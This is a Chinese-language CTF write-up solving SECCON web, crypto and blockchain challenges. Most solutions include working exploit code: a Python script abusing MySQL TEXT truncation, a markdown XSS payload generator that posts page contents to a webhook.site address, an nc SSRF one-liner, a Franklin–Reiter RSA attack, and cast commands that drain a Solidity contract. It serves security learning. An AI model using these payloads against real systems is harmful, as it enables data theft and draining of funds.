Before all 這場那時候忘記在模考還是段考,反正沒打到QwQ 回來補一下題,學到好多新東西,挖庫挖庫!!!
Web Trillion Bank 這題的服務主要是一個簡單的銀行,初始只給你10塊,你要把它變成1_000_000_000_000
元 考點是MySQL一個特性,TEXT資料最大值為65535,Reference(link)
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 import fastify from "fastify" ;import crypto from "node:crypto" ;import fs from "node:fs/promises" ;import db from "./db.js" ;const FLAG = process.env .FLAG ?? console .log ("No flag" ) ?? process.exit (1 );const TRILLION = 1_000_000_000_000 ;const app = fastify ();app.register (await import ("@fastify/jwt" ), { secret : crypto.randomBytes (32 ), cookie : { cookieName : "session" }, }); app.register (await import ("@fastify/cookie" )); const names = new Set ();const auth = async (req, res ) => { try { await req.jwtVerify (); } catch { return res.status (401 ).send ({ msg : "Unauthorized" }); } }; app.post ("/api/register" , async (req, res) => { const name = String (req.body .name ); if (!/^[a-z0-9]+$/ .test (name)) { res.status (400 ).send ({ msg : "Invalid name" }); return ; } if (names.has (name)) { res.status (400 ).send ({ msg : "Already exists" }); return ; } names.add (name); const [result] = await db.query ("INSERT INTO users SET ?" , { name, balance : 10 , }); res .setCookie ("session" , await res.jwtSign ({ id : result.insertId })) .send ({ msg : "Succeeded" }); }); app.get ("/api/me" , { onRequest : auth }, async (req, res) => { try { const [{ 0 : { balance } }] = await db.query ("SELECT * FROM users WHERE id = ?" , [req.user .id ]); req.user .balance = balance; } catch (err) { return res.status (500 ).send ({ msg : err.message }); } if (req.user .balance >= TRILLION ) { req.user .flag = FLAG ; } res.send (req.user ); }); app.post ("/api/transfer" , { onRequest : auth }, async (req, res) => { const recipientName = String (req.body .recipientName ); if (!names.has (recipientName)) { res.status (404 ).send ({ msg : "Not found" }); return ; } const [{ 0 : { id } }] = await db.query ("SELECT * FROM users WHERE name = ?" , [recipientName]); if (id === req.user .id ) { res.status (400 ).send ({ msg : "Self-transfer is not allowed" }); return ; } const amount = parseInt (req.body .amount ); if (!isFinite (amount) || amount <= 0 ) { res.status (400 ).send ({ msg : "Invalid amount" }); return ; } const conn = await db.getConnection (); try { await conn.beginTransaction (); const [{ 0 : { balance } }] = await conn.query ("SELECT * FROM users WHERE id = ? FOR UPDATE" , [ req.user .id , ]); if (amount > balance) { throw new Error ("Invalid amount" ); } await conn.query ("UPDATE users SET balance = balance - ? WHERE id = ?" , [ amount, req.user .id , ]); await conn.query ("UPDATE users SET balance = balance + ? WHERE name = ?" , [ amount, recipientName, ]); await conn.commit (); } catch (err) { await conn.rollback (); return res.status (500 ).send ({ msg : err.message }); } finally { db.releaseConnection (conn); } res.send ({ msg : "Succeeded" }); }); app.get ("/" , async (req, res) => { const html = await fs.readFile ("index.html" ); res.type ("text/html; charset=utf-8" ).send (html); }); app.listen ({ port : 3000 , host : "0.0.0.0" });
判斷名字在不在是在服務寫個Set:
1 const names = new Set ();
根據MySQL TEXT大小限制,如果註冊兩個user a*65535+b
及 a*65535+c
,將導致MySQL塞進去的名字一樣是a*65535
,又bypass js限制 利用這兩行不一致:
1 2 3 4 5 6 7 8 await conn.query ("UPDATE users SET balance = balance - ? WHERE id = ?" , [ amount, req.user .id , ]); await conn.query ("UPDATE users SET balance = balance + ? WHERE name = ?" , [ amount, recipientName, ]);
利用前面的特性註冊大約40的users,每次都分錢給a*65535
,就會發生大家的錢集體翻倍這件事,超酷w
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests as reqbase_url='http://trillion.seccon.games:3000' creds=[] def login (name ): web = req.post(base_url+'/api/register' , json={"name" :name}) cookie = web.headers.get('set-cookie' ) print (f"[*] Got Cookie: {cookie.split(';' )[0 ].split('=' )} " ) return {cookie.split(';' )[0 ].split('=' )[0 ]:cookie.split(';' )[0 ].split('=' )[1 ]} def transfer (cookie, amount ): web=req.get(base_url+'/api/me' , cookies=cookie) print (f"[*] Status: {web.text} " ) web=req.post(base_url+'/api/transfer' , json={"recipientName" :'q' *65535 ,"amount" :str (amount)}, cookies=cookie) print (f"[*] Response: {web.text} " ) def win (): web=req.get(base_url+'/api/me' , cookies=creds[-1 ]) print (f"[*] FLAG: {web.text} " ) for i in range (40 ): creds.append(login('q' *(65535 +i))) for i in range (39 , 0 , -1 ): transfer(creds[i], 10 *2 **(39 -i)) win()
Flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}
Tanuki Udon 一個markdown網頁,admin會在自己介面建立一個flag的文章
markdown.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 const escapeHtml = (content ) => { return content .replaceAll ('&' , '&' ) .replaceAll (`"` , '"' ) .replaceAll (`'` , ''' ) .replaceAll ('<' , '<' ) .replaceAll ('>' , '>' ); } const markdown = (content ) => { const escaped = escapeHtml(content); return escaped .replace (/!\[([^"]*?)\]\(([^"]*?)\)/g , `<img alt="$1" src="$2"></img>` ) .replace (/\[(.*?)\]\(([^"]*?)\)/g , `<a href="$2">$1</a>` ) .replace (/\*\*(.*?)\*\*/g , `<strong>$1</strong>` ) .replace (/ $/mg , `<br>` ); } module .exports = markdown;
想要直接注入感覺是不可能了,但注意到它依序replace的行為: 構造![[whale](meow)](test_url)
得到的會長這樣:
1 <img alt ="<a href=" test_url "> whale" src="meow"></img > </a >
調用兩次replace就可以嵌入雙引號,test_url的地方幾乎是任意注入 受限於前面escapeHTML,我使用src, onerror的方法串payload,js的程式無法注入括號(會出問題,一樣跟replace行為有關),location=
,然後拿反引號取代引號… PoC一下:
1 ![[whale ](meow )]( src=x onerror=location=`javascript:alert\x281\x29` )
要有空格,不然js會把後面的東西一併吃進去
Generator
1 2 3 payload="javascript:fetch('/').then(r=>r.text()).then(r=>fetch('https://webhook.site/f4ea2c93-700e-4ec6-b459-a54cbe543b7d', {method: 'POST', body:r}))" payload=payload.replace('(' , '\\x28' ).replace(')' , '\\x29' ).replace("'" ,'\\x27' ).replace('>' ,'\\x3e' ) print (payload)
生payload的腳本,有些字元要用\x27
之類的hex換掉 拿到後開心跳flag
Flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
P.S.聽說是unintended,之後再來想spec rule的跳法
self-ssrf 開個free SSRF,但有限制一些內容,app.use
開了個全局規則
Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import express from "express" ;const PORT = 3000 ;const LOCALHOST = new URL (`http://localhost:${PORT} ` );const FLAG = Bun .env .FLAG !!;const app = express ();app.use ("/" , (req, res, next ) => { if (req.query .flag === undefined ) { const path = "/flag?flag=guess_the_flag" ; res.send (`Go to <a href="${path} ">${path} </a>` ); } else next (); }); app.get ("/flag" , (req, res ) => { res.send ( req.query .flag === FLAG ? `Congratz! The flag is '${FLAG} '.` : `<marquee>🚩🚩🚩</marquee>` ); }); app.get ("/ssrf" , async (req, res) => { try { const url = new URL (req.url , LOCALHOST ); if (url.hostname !== LOCALHOST .hostname ) { res.send ("Try harder 1" ); return ; } if (url.protocol !== LOCALHOST .protocol ) { res.send ("Try harder 2" ); return ; } url.pathname = "/flag" ; url.searchParams .append ("flag" , FLAG ); res.send (await fetch (url).then ((r ) => r.text ())); } catch { res.status (500 ).send (":(" ); } }); app.listen (PORT );
攻擊手法是利用預設的URL不吃MEOW[a]=1&MEOW[b]=2
的query寫法,但express代的req.query是用querystring(qs)庫,他會吃的不一致性使得express認為有flag參數(才能過/
的全局規則),但url會去新增一個真正的flag參數。
References:
https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj
https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options
想想看,如果用?flag[=]=
,在URL parse的時候會吃到'flag['
是']='
,可是qs庫會認定是flag[=]
值為空,最後接上&flag=<真的flag>就可以真的拿到flagㄌ
像這樣,searchParams傳出去會把他url encode
最後就直接以nc建連線,GET下去SSRFPayload
1 printf 'GET http://localhost:3000/ssrf?flag[=]= HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc self-ssrf.seccon.games 3000
FLAG: SECCON{Which_whit3space_did_you_u5e?}
Crypto 有點累所以只看一個數學題,其他Crypto之後會看💤
reiwa_rot13 Source Code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from Crypto.Util.number import *import codecsimport stringimport randomimport hashlibfrom Crypto.Cipher import AESfrom Crypto.Random import get_random_bytesfrom flag import flagp = getStrongPrime(512 ) q = getStrongPrime(512 ) n = p*q e = 137 key = '' .join(random.sample(string.ascii_lowercase, 10 )) rot13_key = codecs.encode(key, 'rot13' ) key = key.encode() rot13_key = rot13_key.encode() print ("n =" , n)print ("e =" , e)print ("c1 =" , pow (bytes_to_long(key), e, n))print ("c2 =" , pow (bytes_to_long(rot13_key), e, n))key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print ("encyprted_flag = " , cipher.encrypt(flag))
注意到rot13的轉換可以當作某種線性變換,就變成已知明文加密及線性後的明文加密 先分別位元枚舉,就可以進行Franklin–Reiter Attack(link) ㄌ~
Exploit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from Crypto.Util.number import *from Crypto.Cipher import AESimport hashlibn = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927 e = 137 c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679 c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233 encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4" def attack (c1, c2, a, b, e, n ): P = PolynomialRing(Zmod(n), names=('x' ,)); (x,) = P._first_ngens(1 ) g1 = x^e - c1 g2 = (a*x+b)^e - c2 g2 = g2.monic() def gcd (g1, g2 ): while g2: g1, g2 = g2, g1 % g2 return g1.monic() return -gcd(g1, g2)[0 ] def decrypt (key ): key = hashlib.sha256(key).digest() cipher = AES.new(key, AES.MODE_ECB) print (cipher.decrypt(encyprted_flag)) for i in range (2 **10 ): cur=0 for b in bin (i)[2 :].rjust(10 , '0' ): cur*=256 if b=='0' : cur+=13 else : cur-=13 res=attack(c1, c2, 1 , cur, e, n) if len (long_to_bytes(int (res)))==10 : key=long_to_bytes(int (res)) decrypt(key)
Flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}
blockchain Trillion Ether 任務是把合約所有錢領走
TrillionEther.sol
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 // SPDX-License-Identifier: UNLICENSED pragma solidity 0.8.28; contract TrillionEther { struct Wallet { bytes32 name; uint256 balance; address owner; } Wallet[] public wallets; constructor() payable { require(msg.value == 1_000_000_000_000 ether); } function isSolved() external view returns (bool) { return address(this).balance == 0; } function createWallet(bytes32 name) external payable { wallets.push(_newWallet(name, msg.value, msg.sender)); } function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external { require(wallets[fromWalletId].owner == msg.sender, "not owner"); wallets[fromWalletId].balance -= amount; wallets[toWalletId].balance += amount; } function withdraw(uint256 walletId, uint256 amount) external { require(wallets[walletId].owner == msg.sender, "not owner"); wallets[walletId].balance -= amount; payable(wallets[walletId].owner).transfer(amount); } function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) { wallet = wallet; wallet.name = name; wallet.balance = balance; wallet.owner = owner; } }
看得出來是一個Wallet的服務,有個wallets的動態陣列,主要的漏洞出在這一行(_newWallet):
這邊wallet尚未被定義,所以會變成一個空指針被冠上Wallet的struct,所以第一個name會寫到slot[0],這也是紀錄wallets當前大小的地方 試一下會發現如果送出一個正常的name,再去看wallet[0]的值會發現沒東西,因為寫入時寫到wallet[name]的地方
1 cast call $target "wallets(uint256)(bytes32,uint256,address)" 0 --rpc-url $rpc_url
所以一開始name要送0x0出去,才能把內容正常化(owner屬性存在) 接下來就是interger overflow,送出0x5555555555555555555555555555555555555555555555555555555555555555
做為第二次的name,這時候在slot上會嘗試往wallet_base+0x5…5*3 % (2^256)的地方寫入(因為slot大小極限&這個struct算一下就會發現三個變數各佔一個slot) 而選擇0x5…5\是因為乘以3以後正好就是-1 % (2^256),這時候就會從 wallet_base - 1開始寫,導致owner的值寫到剛剛wallet[0]的balance上,balance寫到它的name上,最終只需withdraw所有錢回來就好wExploit 這邊懶惰直接用foundry tool的cast殺下去
1 2 3 cast send $target "createWallet(bytes32)" 0x0000000000000000000000000000000000000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url cast send $target "createWallet(bytes32)" 0x5555555555555555555555555555555555555555555555555555555555555555 --private-key $secret --rpc-url $rpc_url cast send $target "withdraw(uint256, uint256)" 0 1000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url